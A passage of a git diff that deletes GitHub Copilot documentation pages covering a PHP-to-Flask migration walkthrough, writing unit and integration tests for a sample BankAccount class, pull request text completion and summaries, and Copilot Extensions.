nav_menu = '' - nav_items = get_config('nav_menu') - for uri, name in nav_items.items(): - query_string = request.args.get('page', '') - class_active = ' active' if query_string == uri else '' - url = f"{get_config('site_url')}/{'' if get_config('pretty_uri') or uri == '' else '?page='}{uri}" - nav_menu += f'<a href="{url}" title="{name}" class="item{class_active}">{name}</a>{sep}' - return nav_menu.strip(sep) - - if __name__ == '__main__': - app.run(debug=True) - ``` - - {% data variables.product.prodname_copilot_short %} also suggests renaming `template/template.php` to `template/template.html` and updating the file to use Jinja2 templating syntax: - - ```html copy - {% raw %} - <!DOCTYPE html> - <html> - <head> - <meta charset="utf-8" /> - <meta http-equiv="x-ua-compatible" content="ie=edge"/> - <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/> - <title>{{ page_title }} | {{ get_config('name') }} - - - -
- -
-

{{ get_config('name') }}

- -
- -
-

{{ page_title }}

- {{ page_content|safe }} -
- - - -
- - - {% endraw %} - ``` - -1. Create the `app.py` and `template/template.html` files as suggested. -1. {% data variables.product.prodname_copilot_short %} may also suggest that, having created these files, you now run `python app.py` in the terminal, from the root of the repository, and then browse to [http://127.0.0.1:5000](http://127.0.0.1:5000). - - > [!NOTE] - > Depending on how Python is installed on your computer, you may need to use the command `python3 app.py` instead of `python app.py` to ensure the correct version of Python is used. - - When you do this you will see error messages in the browser. - -1. Copy the initial `TemplateNotFound` error message to the {% data variables.product.prodname_copilot_chat_short %} view and ask how you can fix this. For example: - - ``@workspace When I run `python3 app.py`, I get the following error in the browser: `jinja2.exceptions.TemplateNotFound: template.html`. How can I fix this?`` - - {% data variables.product.prodname_copilot_short %} replies that the error indicates that Flask is unable to locate the `template.html` file. - - It tells you that, by default, Flask looks for templates in a folder named `templates` in the root directory of your project. However, your `template.html` file is located in the `template` directory. To fix this, you need to specify the correct template folder when creating the Flask app. It advises you to update your `app.py` file, changing the assignment `app = Flask(__name__)` to include the `template_folder` parameter: - - ```python copy - app = Flask(__name__, template_folder='template') - ``` - -1. Assuming the Flask development server is still running, if you refresh the browser page at [http://127.0.0.1:5000/](http://127.0.0.1:5000/), you will now see a new error relating to the `get_config` function. - - Copy this error message to the {% data variables.product.prodname_copilot_chat_short %} view and ask for help. - - ``@workspace When I run `python3 app.py`, I get the following error in the browser: `jinja2.exceptions.UndefinedError: 'get_config' is undefined.` How can I fix this?`` - - {% data variables.product.prodname_copilot_short %} replies that the error occurs because `get_config` is not available in the Jinja2 template context. It advises you to add the following code to the `app.py` file, directly before the line `@app.route('/')`: - - ```python copy - app.jinja_env.globals.update(get_config=get_config) - ``` - -1. Refresh your browser and you should now see the website. - - ![Screenshot of the 'Simple Python Website' without CSS styling.](/assets/images/help/copilot/migration-no-css-website.png) - - However, none of the CSS styles are being applied. We'll fix this next. - -1. Ask {% data variables.product.prodname_copilot_short %}: - - `@workspace The deployed website does not use the CSS styles. How can I fix this?` - - {% data variables.product.prodname_copilot_short %} tells you that Flask expects your CSS file to be in a directory called `static`. It suggests moving the existing `style.css` file from the `template` directory into a new `static` directory, and then updating the path to the `style.css` file within the `head` portion of the `template.html` file. Change this to: - - ```html copy - {% raw %} - - {% endraw %} - ``` - - When you refresh the browser, the website should now render correctly. - - To complete the initial migration, continue working through the steps in the high-level overview that {% data variables.product.prodname_copilot_short %} gave you, asking for help as you need it. - -### Completing the migration - -Further work to successfully complete the migration process would involve: - -* **Checking** the initial migration thoroughly. -* **Bug fixing**. For example, at present in the example described here, the page links only work if you set `pretty_uri` to `True` in the `config` section of the `app.py` file. If you want the option of using query string parameters in the page URLs, or if you want to remove this option from the code, you can ask {% data variables.product.prodname_copilot_short %} to help you do this. -* **Writing tests** for the migrated project. -* **Cleaning up** the project by removing any files that are no longer needed. -* **Refactoring** the code in the new language. The migration process has resulted in a Python project whose architecture is based on that of the original PHP project. Having done the initial migration, you can now refactor the code to make best use of features of the Python language and the Flask framework. -* **Updating the documentation**. The `readme.md` file is now out of date and needs to be rewritten. diff --git a/content/copilot/using-github-copilot/guides-on-using-github-copilot/writing-tests-with-github-copilot.md b/content/copilot/using-github-copilot/guides-on-using-github-copilot/writing-tests-with-github-copilot.md deleted file mode 100644 index 3dcf0fde4917..000000000000 --- a/content/copilot/using-github-copilot/guides-on-using-github-copilot/writing-tests-with-github-copilot.md +++ /dev/null @@ -1,316 +0,0 @@ ---- -title: Writing tests with GitHub Copilot -intro: 'Use {% data variables.product.prodname_copilot_short %} to generate unit and integration tests, and help improve code quality.' -topics: - - Copilot -versions: - feature: copilot -redirect_from: - - /copilot/using-github-copilot/example-use-cases/writing-tests-with-github-copilot -shortTitle: Write tests ---- - -## Introduction - -{% data variables.product.prodname_copilot %} can assist you in developing tests quickly and improving productivity. In this article, we’ll demonstrate how you can use {% data variables.product.prodname_copilot_short %} to write both unit and integration tests. While {% data variables.product.prodname_copilot_short %} performs well when generating tests for basic functions, complex scenarios require more detailed prompts and strategies. This article will walk through practical examples of using {% data variables.product.prodname_copilot_short %} to break down tasks and verify code correctness. - -## Prerequisites - -Before getting started you must have the following: -* A [{% data variables.product.prodname_copilot %} subscription plan](/copilot/about-github-copilot/subscription-plans-for-github-copilot). -* {% data variables.product.prodname_vs %}, {% data variables.product.prodname_vscode %}, or any JetBrains IDE. -* The [{% data variables.product.prodname_copilot %} extension](/copilot/managing-copilot/configure-personal-settings/installing-the-github-copilot-extension-in-your-environment) installed in your IDE. - -## Writing unit tests with {% data variables.product.prodname_copilot_chat_short %} - -In this section, we’ll explore how to use {% data variables.product.prodname_copilot_chat %} to generate unit tests for a Python class. This example demonstrates how you can use {% data variables.product.prodname_copilot_short %} to create unit tests for a class like `BankAccount`. We will show you how to prompt {% data variables.product.prodname_copilot_short %} to generate tests, execute them, and verify the results. - -### Example class: `BankAccount` - -Let’s start with a class `BankAccount` that contains methods for depositing, withdrawing, and getting the balance of an account. Create a new file `bank_account.py` in a {% data variables.product.github %} repository and add the following `BankAccount` class in Python. - -```python -class BankAccount: - def __init__(self, initial_balance=0): - if initial_balance < 0: - raise ValueError("Initial balance cannot be negative.") - self.balance = initial_balance - - def deposit(self, amount): - if amount <= 0: - raise ValueError("Deposit amount must be positive.") - self.balance += amount - - def withdraw(self, amount): - if amount <= 0: - raise ValueError("Withdrawal amount must be positive.") - if amount > self.balance: - raise ValueError("Cannot withdraw more than the current balance.") - self.balance -= amount - - def get_balance(self): - return self.balance -``` - -### Generating unit tests with {% data variables.product.prodname_copilot_chat_short %} - -You can prompt Copilot with a request to write tests that cover a range of scenarios. Be specific with your test requirements to get the best results. The following is an example prompt you can use to generate unit tests for the `BankAccount` class. - -**Prompt:** _Develop a comprehensive suite of unit tests for the BankAccount() function in Python. Write multiple test methods that cover a wide range of scenarios, including edge cases, exception handling, and data validation._ - -This prompt does a few important things: -* **Scope:** It explicitly asks for a comprehensive suite of unit tests, so that {% data variables.product.prodname_copilot_short %} generates more than just basic tests, covering a variety of potential use cases. -* **Scenarios:** The prompt specifies that the tests should include: - * **Edge cases:** Tests for boundary conditions (e.g., negative values for deposits or withdrawals, withdrawing more than the available balance). - * **Exception handling:** Tests for errors that should be raised when certain invalid actions occur (e.g., withdrawing more than the available balance, depositing negative amounts). - * **Data validation:** Ensures that inputs are correctly validated and handled by the methods. - -{% data variables.product.prodname_copilot_short %} will give you a response like the following. - -```python -import unittest -from bank_account import BankAccount - -class TestBankAccount(unittest.TestCase): - def setUp(self): - self.account = BankAccount() - - def test_initial_balance(self): - self.assertEqual(self.account.get_balance(), 0) - - def test_deposit_positive_amount(self): - self.account.deposit(100) - self.assertEqual(self.account.get_balance(), 100) - - def test_withdraw_within_balance(self): - self.account.deposit(100) - self.account.withdraw(50) - self.assertEqual(self.account.get_balance(), 50) - - def test_deposit_negative_amount_raises_error(self): - with self.assertRaises(ValueError): - self.account.deposit(-100) - - def test_withdraw_negative_amount_raises_error(self): - with self.assertRaises(ValueError): - self.account.withdraw(-50) - - def test_withdraw_more_than_balance_raises_error(self): - self.account.deposit(100) - with self.assertRaises(ValueError): - self.account.withdraw(200) - - def test_initial_balance_negative_raises_error(self): - with self.assertRaises(ValueError): - BankAccount(-100) - -if __name__ == '__main__': - unittest.main() -``` - -### Running the tests cases - -The test suite generated by {% data variables.product.prodname_copilot_short %} includes a test case for each scenario specified in the prompt. Each function in the `BankAccount` class is tested for a range of conditions, including valid operations like deposits and withdrawals, as well as edge cases such as negative amounts and attempts to withdraw more than the available balance. - -Once {% data variables.product.prodname_copilot_short %} has generated the test suite to your satisfaction, add the code to a new file `test_bank_account.py`. You can ask it how to run the tests. - -**Prompt:** _"How do I run these unit tests in Python using the unittest framework?"_ - -{% data variables.product.prodname_copilot_short %} will give you the following bash command. - -```bash -python -m unittest test_bank_account.py -``` - -After running the tests, you will see the output in your terminal or IDE. If all tests pass, you can be confident that your `BankAccount` class is working as expected. - -#### Slash command - -Additionally, you can prompt {% data variables.product.prodname_copilot_short %} to write a full suite of unit tests with the `/tests` slash command. Ensure that you have the file open on the current tab of your IDE and {% data variables.product.prodname_copilot_short %} will generate unit tests for that file. The tests that {% data variables.product.prodname_copilot_short %} generates may not cover all scenarios, so you should always review the generated code and add any additional tests that may be necessary. - -> [!TIP] If you ask {% data variables.product.prodname_copilot_short %} to write tests for a code file that is not already covered by unit tests, you can provide {% data variables.product.prodname_copilot_short %} with useful context by opening one or more existing test files in adjacent tabs in your editor. {% data variables.product.prodname_copilot_short %} will be able to see the testing framework you use and will be more likely to write a test that is consistent with your existing tests. - -{% data variables.product.prodname_copilot_short %} will generate a unit test suite such as the following. - -```python -import unittest -from bank_account import BankAccount - -class TestBankAccount(unittest.TestCase): - def setUp(self): - self.account = BankAccount() - - def test_initial_balance(self): - self.assertEqual(self.account.get_balance(), 0) -``` - -## Writing integration tests with {% data variables.product.prodname_copilot_short %} - -Integration tests are essential for ensuring that the various components of your system work correctly when combined. In this section, we’ll extend our `BankAccount` class to include interactions with an external service `NotificationSystem` and use mocks to test the system’s behavior without needing real connections. The goal of the integration tests is to verify the interaction between the `BankAccount` class and the `NotificationSystem` services, ensuring that they work together correctly. - -### Example class: `BankAccount` with notification services - -Let's update the `BankAccount` class to include interactions with an external service such as a `NotificationSystem` that sends notifications to users. `NotificationSystem` represents the integration that would need to be tested. - -Update the `BankAccount` class in the `bank_account.py` file with the following code snippet. - -```python -class BankAccount: - def __init__(self, initial_balance=0, notification_system=None): - if initial_balance < 0: - raise ValueError("Initial balance cannot be negative.") - self.balance = initial_balance - self.notification_system = notification_system - - def deposit(self, amount): - if amount <= 0: - raise ValueError("Deposit amount must be positive.") - self.balance += amount - if self.notification_system: - self.notification_system.notify(f"Deposited {amount}, new balance: {self.balance}") - - def withdraw(self, amount): - if amount <= 0: - raise ValueError("Withdrawal amount must be positive.") - if amount > self.balance: - raise ValueError("Cannot withdraw more than the current balance.") - self.balance -= amount - - if self.notification_system: - self.notification_system.notify(f"Withdrew {amount}, new balance: {self.balance}") - - def get_balance(self): - return self.balance -``` - -Here we'll break down our request for {% data variables.product.prodname_copilot_short %} to write integration tests for the `BankAccount` class into smaller, more manageable pieces. This will help {% data variables.product.prodname_copilot_short %} generate more accurate and relevant tests. - -**Prompt:** _"Write integration tests for the `deposit` function in the `BankAccount` class. Use mocks to simulate the `NotificationSystem` and verify that it is called correctly after a deposit."_ - -This prompt does a few important things: -* **Scope:** It specifies integration tests, focusing on the interaction between the `deposit` function and the `NotificationSystem`, rather than just unit tests. -* **Mocks:** It explicitly asks for the use of mocks to simulate the `NotificationSystem`, ensuring that the interaction with external systems is tested without relying on their actual implementation. -* **Verification:** The prompt emphasizes verifying that the `NotificationSystem` is called correctly after a deposit, ensuring that the integration between the components works as expected. -* **Specificity:** The prompt clearly states the method (`deposit`) and the class (`BankAccount`) to be tested. - -> [!TIP] If {% data variables.product.prodname_copilot_short %} is producing invalid tests, provide examples of inputs and outputs for the function you want to test. This will help {% data variables.product.prodname_copilot_short %} evaluate the expected behavior of the function. - -{% data variables.product.prodname_copilot_short %} will generate a test suite like the following. - -```python -import unittest -from unittest.mock import Mock -from bank_account import BankAccount - -class TestBankAccountIntegration(unittest.TestCase): - def setUp(self): - self.notification_system = Mock() - - def test_deposit_with_notification(self): - account = BankAccount(initial_balance=100, notification_system=self.notification_system) - account.deposit(50) - self.assertEqual(account.get_balance(), 150) - self.notification_system.notify.assert_called_once_with("Deposited 50, new balance: 150") - -if __name__ == '__main__': - unittest.main() -``` - -Add the generated code to a new file `test_bank_account_integration.py`. - -### Improving on the test cases - -The prompt above generated a single test case that verifies the `NotificationSystem` is called when a valid deposit is made. However, it doesn't cover cases where an error is raised during the deposit. In those scenarios, the `NotificationSystem` should not be called. We need to add a test case that handles invalid deposits and ensure the notification system is not triggered. - -**Prompt:** _"Add a test case for invalid deposit amounts to verify the function raises the correct exceptions and that the `NotificationService` is not called."_ - -{% data variables.product.prodname_copilot_short %} will generate a test case such as the following. - -```python - def test_deposit_negative_amount_raises_error(self): - account = BankAccount(initial_balance=100, notification_system=self.notification_system) - with self.assertRaises(ValueError): - account.deposit(0) - self.notification_system.notify.assert_not_called() -``` - -### Asking about areas of improvement - -Now that we've written test cases to validate the integration functionality for deposits, this is a great opportunity to search for improvements within the test suite. While the current tests are functional, we can prompt {% data variables.product.prodname_copilot_short %} to evalulate code coverage and suggest areas of improvement. - -**Prompt:** _"What additional tests should be included to ensure full coverage for the integration between the `BankAccount` class and the `NotificationSystem`?"_ - -Prompting Copilot with this question can help you identify missing test cases that may have been overlooked. -In this situation, while we tested valid and invalid deposits, we haven't yet covered the withdrawal functionality. - -{% data variables.product.prodname_copilot_short %} will generate an updated test suite such as the following. - -
- Click to expand the full generated code example - -```python -import unittest -from unittest.mock import Mock -from bank_account import BankAccount - -class TestBankAccountIntegration(unittest.TestCase): - def setUp(self): - self.notification_system = Mock() - - def test_deposit_with_notification(self): - account = BankAccount(initial_balance=100, notification_system=self.notification_system) - account.deposit(50) - self.assertEqual(account.get_balance(), 150) - self.notification_system.notify.assert_called_once_with("Deposited 50, new balance: 150") - - def test_deposit_negative_amount_raises_error(self): - account = BankAccount(initial_balance=100, notification_system=self.notification_system) - with self.assertRaises(ValueError): - account.deposit(-50) - self.notification_system.notify.assert_not_called() - - def test_deposit_zero_amount_raises_error(self): - account = BankAccount(initial_balance=100, notification_system=self.notification_system) - with self.assertRaises(ValueError): - account.deposit(0) - self.notification_system.notify.assert_not_called() - - def test_withdraw_with_notification(self): - account = BankAccount(initial_balance=100, notification_system=self.notification_system) - account.withdraw(30) - self.assertEqual(account.get_balance(), 70) - self.notification_system.notify.assert_called_once_with("Withdrew 30, new balance: 70") - - def test_withdraw_exceeding_balance_raises_error(self): - account = BankAccount(initial_balance=100, notification_system=self.notification_system) - with self.assertRaises(ValueError): - account.withdraw(150) - self.notification_system.notify.assert_not_called() - - def test_withdraw_negative_amount_raises_error(self): - account = BankAccount(initial_balance=100, notification_system=self.notification_system) - with self.assertRaises(ValueError): - account.withdraw(-30) - self.notification_system.notify.assert_not_called() - - def test_withdraw_zero_amount_raises_error(self): - account = BankAccount(initial_balance=100, notification_system=self.notification_system) - with self.assertRaises(ValueError): - account.withdraw(0) - self.notification_system.notify.assert_not_called() - - def test_initial_negative_balance_raises_error(self): - with self.assertRaises(ValueError): - BankAccount(initial_balance=-100, notification_system=self.notification_system) - -if __name__ == '__main__': - unittest.main() -``` - -
- -Once Copilot has generated the test suite to your satisfaction, run the tests with command below to verify the results. - -```bash -python -m unittest test_bank_account_integration.py -``` diff --git a/content/copilot/using-github-copilot/index.md b/content/copilot/using-github-copilot/index.md deleted file mode 100644 index cf90d99ac0bf..000000000000 --- a/content/copilot/using-github-copilot/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Using GitHub Copilot -shortTitle: Use GitHub Copilot -intro: "Use {% data variables.product.prodname_copilot %} to increase your productivity." -versions: - feature: copilot -topics: - - Copilot -children: - - /best-practices-for-using-github-copilot - - /getting-code-suggestions-in-your-ide-with-github-copilot - - /copilot-chat - - /asking-github-copilot-questions-in-windows-terminal - - /using-copilot-text-completion - - /code-review - - /using-github-copilot-in-the-command-line - - /using-extensions-to-integrate-external-tools-with-copilot-chat - - /ai-models - - /finding-public-code-that-matches-github-copilot-suggestions - - /using-github-copilot-for-pull-requests - - /guides-on-using-github-copilot -redirect_from: - - /copilot/github-copilot-chat - - /copilot/github-copilot-in-the-cli ---- diff --git a/content/copilot/using-github-copilot/using-copilot-text-completion.md b/content/copilot/using-github-copilot/using-copilot-text-completion.md deleted file mode 100644 index 21f2c3e77907..000000000000 --- a/content/copilot/using-github-copilot/using-copilot-text-completion.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Using Copilot text completion -shortTitle: Text completion -intro: 'You can use {% data variables.product.prodname_copilot_autocomplete_pr %} to help you write pull request descriptions more quickly and accurately.' -versions: - feature: copilot-enterprise -permissions: 'Members of an enterprise with a subscription to [{% data variables.product.prodname_copilot_enterprise %}](/copilot/github-copilot-enterprise/overview/about-github-copilot-enterprise)' -topics: - - Copilot ---- - ->[!NOTE] -> {% data variables.product.prodname_copilot_autocomplete_pr %} is currently in {% data variables.release-phases.public_preview %} and subject to change. To participate in the {% data variables.release-phases.public_preview %}, an administrator of your enterprise must opt in to the use of previews of {% data variables.product.prodname_copilot_short %} features. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise#copilot-in-githubcom). - -## About {% data variables.product.prodname_copilot_autocomplete_pr %} - -With {% data variables.product.prodname_copilot_autocomplete_pr %}, you can use AI-generated autocompletions to help you write pull request descriptions quickly and accurately. Accurate descriptions help reviewers understand the changes you're proposing, and help you communicate the purpose of your pull request more effectively. - -When you are creating a new pull request, {% data variables.product.prodname_copilot_autocomplete_pr %} will scan through the pull request and provide suggestions as you write, based on the context of the pull request. - -## Using {% data variables.product.prodname_copilot_autocomplete_pr %} - -You can use {% data variables.product.prodname_copilot_autocomplete_pr %} in the description of a new pull request you're creating. - -1. On {% data variables.product.github %}, create a pull request. -1. In the description field, start typing your description. -1. As you type, {% data variables.product.prodname_copilot_short %} will provide in-line suggestions based on the context of the pull request. -1. Review the suggestions, which will be shown in grey. - * To accept a suggestion, press `Tab`. - * To ignore a suggestion, press `Esc` or continue typing. {% data variables.product.prodname_copilot_short %} will provide new suggestions as you type, based on the additional context. -1. When you're happy with the description, click **Create pull request**. - -## Disabling or enabling {% data variables.product.prodname_copilot_autocomplete_pr %} - -You can disable or enable {% data variables.product.prodname_copilot_autocomplete_pr %} for your pull request descriptions. Your preference will be saved for future pull requests. - -1. On {% data variables.product.github %}, create a pull request. -1. At the top of the description field, select {% octicon "copilot" aria-hidden="true" %} then hover over **Autocomplete ({% data variables.release-phases.public_preview_caps %})**, and click **Disabled** or **Enabled**. diff --git a/content/copilot/using-github-copilot/using-extensions-to-integrate-external-tools-with-copilot-chat.md b/content/copilot/using-github-copilot/using-extensions-to-integrate-external-tools-with-copilot-chat.md deleted file mode 100644 index 2ecbc668be29..000000000000 --- a/content/copilot/using-github-copilot/using-extensions-to-integrate-external-tools-with-copilot-chat.md +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Using extensions to integrate external tools with Copilot Chat -intro: 'You can use {% data variables.product.prodname_copilot_extensions_short %} to interact with external tools in {% data variables.product.prodname_copilot_chat %}.' -product: '{% data reusables.gated-features.copilot-extensions %}' -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: Use Copilot Extensions -type: how_to -redirect_from: - - /copilot/github-copilot-chat/github-copilot-extensions/about-github-copilot-extensions - - /copilot/github-copilot-chat/github-copilot-extensions/using-github-copilot-extensions - - /copilot/github-copilot-chat/github-copilot-extensions ---- - -## About {% data variables.product.prodname_copilot_extensions %} - -{% data reusables.copilot.copilot-extensions.copilot-extensions-intro %} - -> [!NOTE] {% data variables.product.prodname_copilot_extensions %} are not the same as _the {% data variables.product.prodname_copilot %} extension_, which you install in your IDE to use default {% data variables.product.prodname_copilot_short %} functionality like code completions and {% data variables.product.prodname_copilot_chat %}. For more information on _the {% data variables.product.prodname_copilot %} extension_, see [AUTOTITLE](/copilot/using-github-copilot/getting-started-with-github-copilot). - -You can get started with {% data variables.product.prodname_copilot_extensions_short %} in one of two ways: -* Build your own {% data variables.product.prodname_copilot_extension_short %}. See [AUTOTITLE](/copilot/building-copilot-extensions/about-building-copilot-extensions). -* Install a {% data variables.product.prodname_copilot_extension_short %} from {% data variables.product.prodname_marketplace %}. - -You can interact with your custom-built or installed extension in a {% data variables.product.prodname_copilot_chat_short %} conversation, asking questions and performing actions that combine the capabilities of the external tool and {% data variables.product.prodname_dotcom %}. For example, if you install the Sentry extension for {% data variables.product.prodname_copilot %}, you can use the extension to get information about Sentry issues, then create and assign related tracking issues on {% data variables.product.prodname_dotcom %}. - -{% data variables.product.prodname_copilot_extensions_short %} provide several benefits, including: - -* Interaction with external tools using natural language -* Reduced context switching -* Customization of your {% data variables.product.prodname_copilot_chat_short %} experience for your developer flow - -{% data variables.product.prodname_copilot_extensions_short %} are included in all {% data variables.product.prodname_copilot_short %} subscriptions. - -### Supported clients and IDEs - -{% data reusables.copilot.copilot-extensions.supported-clients-and-ides-table %} - -## Prerequisites - -**If you have a {% data variables.product.prodname_copilot_pro_short %} subscription**, you need to install a {% data variables.product.prodname_copilot_extension_short %} before you can use the extension in {% data variables.product.prodname_copilot_chat_short %}. See [AUTOTITLE](/copilot/github-copilot-chat/github-copilot-extensions/installing-github-copilot-extensions-for-your-personal-account). - -**If you have access to {% data variables.product.prodname_copilot_short %} through a {% data variables.product.prodname_copilot_business_short %} or {% data variables.product.prodname_copilot_enterprise_short %} subscription:** - 1. An organization owner or enterprise owner needs to enable the {% data variables.product.prodname_copilot_extensions_short %} policy for your organization or enterprise. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization#setting-a-policy-for-github-copilot-extensions-in-your-organization) and [AUTOTITLE](/enterprise-cloud@latest/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise#configuring-policies-for-github-copilot) in the {% data variables.product.prodname_ghe_cloud %} documentation. - 1. An organization owner needs to install {% data variables.product.prodname_copilot_extensions_short %} for your organization. See [AUTOTITLE](/copilot/github-copilot-chat/github-copilot-extensions/installing-github-copilot-extensions-for-your-organization). - -## Using {% data variables.product.prodname_copilot_extensions %} - -1. To start using a {% data variables.product.prodname_copilot_extension_short %}, open a supported {% data variables.product.prodname_copilot_chat_short %} interface. See [Supported clients and IDEs](#supported-clients-and-ides). -1. To see a list of all {% data variables.product.prodname_copilot_extensions_short %} available in your {% data variables.product.prodname_copilot_chat_short %} conversation, in the {% data variables.product.prodname_copilot_chat_short %} text box, type `@`. - - > [!NOTE] If you are using {% data variables.product.prodname_copilot_chat_short %} in an IDE, and you or your organization owner install a {% data variables.product.prodname_copilot_extension_short %} while your IDE is open, you need to restart your IDE to begin using the {% data variables.product.prodname_copilot_extension_short %}. - -1. In the list of available {% data variables.product.prodname_copilot_extensions_short %}, click the one you want to use. -1. To begin interacting with the {% data variables.product.prodname_copilot_extension_short %}, in the {% data variables.product.prodname_copilot_chat_short %} text box, ask the extension to answer a question or perform an action, then press Enter. For each new request, be sure to include `@EXTENSION-NAME` at the beginning of your sentence. - * If you did not install the {% data variables.product.prodname_copilot_extension_short %} yourself, and it is your first time using the {% data variables.product.prodname_copilot_extension_short %}, you will be asked to authorize the extension. See [AUTOTITLE](/apps/using-github-apps/authorizing-github-apps). - * If you ask a {% data variables.product.prodname_copilot_extension_short %} to perform an action, you need to confirm the extension has your permission to act on your behalf before it will complete the task. After carefully reviewing the proposed action, in the confirmation dialog, click **Allow** or **Dismiss**. - -## Tips for using {% data variables.product.prodname_copilot_extensions %} - -* When you are using a {% data variables.product.prodname_copilot_extension_short %}, consider how you would interact with the tool outside of {% data variables.product.prodname_copilot_chat_short %}, then use natural language to ask questions and assign tasks that integrate the capabilities of the tool with {% data variables.product.prodname_dotcom %}. For example, [Sentry](https://sentry.io/welcome/) is an application monitoring software with a {% data variables.product.prodname_copilot_extension_short %}. The following are some example prompts for the Sentry extension for {% data variables.product.prodname_copilot %}: - * `@sentry list my most recent issues` - * `@sentry tell me more about issue ISSUE-ID-OR-ISSUE-LINK` - * `@sentry create a {% data variables.product.prodname_dotcom %} issue for the most recent Sentry issue and assign it to @DEVELOPER` - - For information on the best ways to use a specific {% data variables.product.prodname_copilot_extension_short %}, read the description of the extension on [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=apps&copilot_app=true). -* Interactions with one {% data variables.product.prodname_copilot_extension_short %} will never be shared with another {% data variables.product.prodname_copilot_extension_short %}. To interact with different {% data variables.product.prodname_copilot_extensions_short %} in an IDE, change the `@EXTENSION-NAME` at the beginning of each sentence. Interactions with different extensions will appear in the same {% data variables.product.prodname_copilot_chat_short %} window, but the conversations themselves are automatically separated. - - {% ifversion ghec %} To interact with different {% data variables.product.prodname_copilot_extensions_short %} on {% data variables.product.prodname_dotcom_the_website %}, you need to start a new conversation for each extension by clicking {% octicon "plus" aria-label="New conversation" %} at the top of the {% data variables.product.prodname_copilot_chat_short %} window.{% endif %} - -## Additional resources - -For questions and issues related to {% data variables.product.prodname_copilot_extensions %}, please use the following resources: - -* **General issues for users and builders:** Visit the [{% data variables.product.github %} Support Portal](https://support.github.com/). -* **Requests or feedback for {% data variables.product.github %}:** Use the [{% data variables.product.github %} Community Discussion Thread](https://gh.io/community-feedback). -* **Requests or feedback for third-party extension publishers:** File an issue in the [User Feedback Repo](https://github.com/copilot-extensions/user-feedback) and add a label with the extension's slug name. -* **{% data variables.product.github %} Technology Partners:** Email the partnerships team directly for assistance. -* **{% data variables.product.prodname_copilot_extensions_vsc %}:** For more information on this type of {% data variables.product.prodname_copilot_extension_short %}, see [Chat extensions](https://code.visualstudio.com/api/extension-guides/chat) in the {% data variables.product.prodname_vscode %} documentation. - -> [!NOTE] {% data variables.contact.github_support %} is not able to answer questions regarding {% data variables.product.prodname_copilot_extensions_vsc %}, as this implementation path is owned and maintained by the {% data variables.product.prodname_vscode_shortname %} team. - -## Further reading - -* [AUTOTITLE](/copilot/building-copilot-extensions/about-building-copilot-extensions) diff --git a/content/copilot/using-github-copilot/using-github-copilot-for-pull-requests/creating-a-pull-request-summary-with-github-copilot.md b/content/copilot/using-github-copilot/using-github-copilot-for-pull-requests/creating-a-pull-request-summary-with-github-copilot.md deleted file mode 100644 index 25a60d18d4d0..000000000000 --- a/content/copilot/using-github-copilot/using-github-copilot-for-pull-requests/creating-a-pull-request-summary-with-github-copilot.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Creating a pull request summary with GitHub Copilot -shortTitle: Create a PR summary -intro: 'You can generate a summary in the description of a pull request, or as a comment.' -versions: - feature: copilot -topics: - - Copilot -product: '{% data reusables.gated-features.copilot-free-availability %}' -redirect_from: - - /copilot/using-github-copilot/creating-a-pull-request-summary-with-github-copilot - - /copilot/github-copilot-enterprise/copilot-pull-request-summaries/creating-a-pull-request-summary-with-github-copilot - - /copilot/github-copilot-enterprise/copilot-pull-request-summaries ---- - -## About {% data variables.product.prodname_copilot_for_prs %} - -You can use {% data variables.product.prodname_copilot %} to generate a summary of a pull request on {% data variables.product.github %}. You can use the summary to help reviewers understand your changes, or to quickly understand the changes in a pull request you're reviewing. - -{% data variables.product.prodname_copilot %} will scan through the pull request and provide an overview of the changes made in prose, as well as a bulleted list of changes with the files that they impact. You can generate a summary in the following places. - -* In the description of a new pull request you're creating -* In the description of an existing pull request, by editing the opening comment -* In a comment on the main timeline of a pull request - -To learn more about {% data variables.product.prodname_copilot_for_prs %} and how to use the feature most effectively, see [AUTOTITLE](/copilot/github-copilot-enterprise/copilot-pull-request-summaries/about-copilot-pull-request-summaries). - -## Creating a summary for a pull request - -1. On {% data variables.product.github %}, create a pull request or navigate to an existing pull request. - - > [!NOTE] {% data variables.product.prodname_copilot %} does not take into account any existing content in the pull request description, so it is best to start with a blank description. - -1. Navigate to the text field where you want to add the pull request summary. - - * If you're creating a new pull request, use the "Add a description" field. - * If you're adding a description to an existing pull request, edit the opening comment. - * If you're adding a summary as a comment, navigate to the "Add a comment" section at the bottom of the pull request page. - -1. In the header of the text field, select {% octicon "copilot" aria-label="Copilot actions" %}, then click **Summary**. - - ![Screenshot of the form for creating a pull request. A Copilot icon is highlighted, and a box appears with the "Summary" command.](/assets/images/help/copilot/copilot-description-suggestion.png) - -1. Wait for {% data variables.product.prodname_copilot %} to produce the summary, then check over the results carefully. -1. Optionally, depending on your enterprise or organization settings, you can provide feedback about the summary by clicking one of the buttons that are displayed below the text box, next to "How did Copilot perform?" - - ![Screenshot of the bottom of a pull request comment. The feedback icons, thumbs up and thumbs down, are highlighted with a dark orange outline.](/assets/images/help/copilot/copilot-summary-feedback.png) - - After you rate a summary as good or bad, you can provide written feedback by clicking the link that's displayed. - -1. Add any additional context that will help people viewing your pull request. -1. When you're happy with the description, click **Create pull request** on a new pull request, or **Update comment** if you're editing an existing description. diff --git a/content/copilot/using-github-copilot/using-github-copilot-for-pull-requests/index.md b/content/copilot/using-github-copilot/using-github-copilot-for-pull-requests/index.md deleted file mode 100644 index ba3ac0a0197f..000000000000 --- a/content/copilot/using-github-copilot/using-github-copilot-for-pull-requests/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Using GitHub Copilot for pull requests -shortTitle: '{% data variables.product.prodname_copilot_short %} for pull requests' -intro: 'Learn how {% data variables.product.prodname_copilot_short %} can help you work on pull requests.' -versions: - feature: copilot -topics: - - Copilot -children: - - /using-copilot-to-help-you-work-on-a-pull-request - - 